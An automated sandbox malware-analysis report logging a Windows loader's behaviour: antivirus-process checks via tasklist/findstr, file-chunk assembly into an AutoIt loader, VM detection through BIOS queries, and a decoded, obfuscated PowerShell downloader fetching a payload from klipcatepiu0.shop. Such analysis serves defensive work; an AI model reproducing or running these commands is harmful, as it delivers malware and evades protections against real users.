Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 594187	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6593	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3208	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2863	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1372	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 595	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com TID: 7288	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3020	Thread sleep count: 6593 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep count: 3208 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5996	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1748	Thread sleep count: 2863 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3468	Thread sleep count: 1372 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6156	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2000	Thread sleep count: 595 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6156	Thread sleep time: -594187s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 594187	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\189943	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\189943\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: powershell.exe, 00000013.00000002.3537833898.0000000008611000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: Base64 decoded $xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx = { Start-Sleep -Seconds 3 [System.Net.WebRequest]::Create("https://www.360.net").GetResponse().Close() Start-Sleep -Seconds 1 [System.Net.WebRequest]::Create("https://www.baidu.com").GetResponse().Close() Start-Sleep -Seconds 1 $lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = "https://klipcatepiu0.shop/int_clp_sha.txt" $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = New-Object System.Net.WebClient $lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.DownloadData($lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll) $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = New-Object System.IO.MemoryStream $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.Write($lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll, 0, $lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.Length) $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.Seek(0, [System.IO.SeekOrigin]::Begin) $lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = [System.Guid]::NewGuid().ToString() $xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx = [System.IO.Path]::Combine($env:LOCALAPP
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: Base64 decoded $xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx = { Start-Sleep -Seconds 3 [System.Net.WebRequest]::Create("https://www.360.net").GetResponse().Close() Start-Sleep -Seconds 1 [System.Net.WebRequest]::Create("https://www.baidu.com").GetResponse().Close() Start-Sleep -Seconds 1 $lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = "https://klipcatepiu0.shop/int_clp_sha.txt" $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = New-Object System.Net.WebClient $lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.DownloadData($lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll) $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = New-Object System.IO.MemoryStream $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.Write($lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll, 0, $lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.Length) $llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.Seek(0, [System.IO.SeekOrigin]::Begin) $lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll = [System.Guid]::NewGuid().ToString() $xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx = [System.IO.Path]::Combine($env:LOCALAPP			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 189943	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ExpendituresReactionsRioWinterDialReducedPricingSoftware" Dennis	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Handbook + ..\Attorneys + ..\Celebration + ..\Advert + ..\Loop + ..\Objectives + ..\Added X	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\189943\Attachment.com Attachment.com X	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -enc jab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4acaapqagahsacgagacaaiaagafmadabhahiadaatafmabablaguacaagac0auwblagmabwbuagqacwagadmacgakacaaiaagacaawwbtahkacwb0aguabqauae4azqb0ac4avwblagiaugblaheadqblahmadabdadoaogbdahiazqbhahqazqaoaciaaab0ahqacabzadoalwavahcadwb3ac4amwa2adaalgbuaguadaaiackalgbhaguadabsaguacwbwag8abgbzaguakaapac4aqwbsag8acwblacgakqakaaoaiaagacaaiabtahqayqbyahqalqbtagwazqblahaaiaatafmazqbjag8abgbkahmaiaaxaaoacgagacaaiaagafsauwb5ahmadablag0algboaguadaauafcazqbiafiazqbxahuazqbzahqaxqa6adoaqwbyaguayqb0aguakaaiaggadab0ahaacwa6ac8alwb3ahcadwauagiayqbpagqadqauagmabwbtaciakqauaecazqb0afiazqbzahaabwbuahmazqaoackalgbdagwabwbzaguakaapaaoacgagacaaiaagafmadabhahiadaatafmabablaguacaagac0auwblagmabwbuagqacwagadeacgakacaaiaagacaajabsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaagad0aiaaiaggadab0ahaacwa6ac8alwbragwaaqbwagmayqb0aguacabpahuamaauahmaaabvahaalwbpag4adabfagmababwaf8acwboagealgb0ahgadaaiaaoaiaagacaaiaakagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algboaguadaauafcazqbiaemababpaguabgb0aaoaiaagacaaiaakagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaagad0aiaakagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaauaeqabwb3ag4ababvageazabeageadabhacgajabsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaapaaoacgagacaaiaagacqababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4atqblag0abwbyahkauwb0ahiazqbhag0acgagacaaiaagacqababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwalgbxahiaaqb0aguakaakagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaasacaamaasacaajabsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwab
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -enc jab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4ahgaeab4acaapqagahsacgagacaaiaagafmadabhahiadaatafmabablaguacaagac0auwblagmabwbuagqacwagadmacgakacaaiaagacaawwbtahkacwb0aguabqauae4azqb0ac4avwblagiaugblaheadqblahmadabdadoaogbdahiazqbhahqazqaoaciaaab0ahqacabzadoalwavahcadwb3ac4amwa2adaalgbuaguadaaiackalgbhaguadabsaguacwbwag8abgbzaguakaapac4aqwbsag8acwblacgakqakaaoaiaagacaaiabtahqayqbyahqalqbtagwazqblahaaiaatafmazqbjag8abgbkahmaiaaxaaoacgagacaaiaagafsauwb5ahmadablag0algboaguadaauafcazqbiafiazqbxahuazqbzahqaxqa6adoaqwbyaguayqb0aguakaaiaggadab0ahaacwa6ac8alwb3ahcadwauagiayqbpagqadqauagmabwbtaciakqauaecazqb0afiazqbzahaabwbuahmazqaoackalgbdagwabwbzaguakaapaaoacgagacaaiaagafmadabhahiadaatafmabablaguacaagac0auwblagmabwbuagqacwagadeacgakacaaiaagacaajabsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaagad0aiaaiaggadab0ahaacwa6ac8alwbragwaaqbwagmayqb0aguacabpahuamaauahmaaabvahaalwbpag4adabfagmababwaf8acwboagealgb0ahgadaaiaaoaiaagacaaiaakagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algboaguadaauafcazqbiaemababpaguabgb0aaoaiaagacaaiaakagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaagad0aiaakagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaauaeqabwb3ag4ababvageazabeageadabhacgajabsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaapaaoacgagacaaiaagacqababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4atqblag0abwbyahkauwb0ahiazqbhag0acgagacaaiaagacqababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwalgbxahiaaqb0aguakaakagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwabaasacaamaasacaajabsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwababsagwab			Jump to behavior

Source: Attachment.com, 0000000A.00000000.1699124486.0000000000606000.00000002.00000001.01000000.00000007.sdmp, Surrounded.0.dr, Attachment.com.1.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
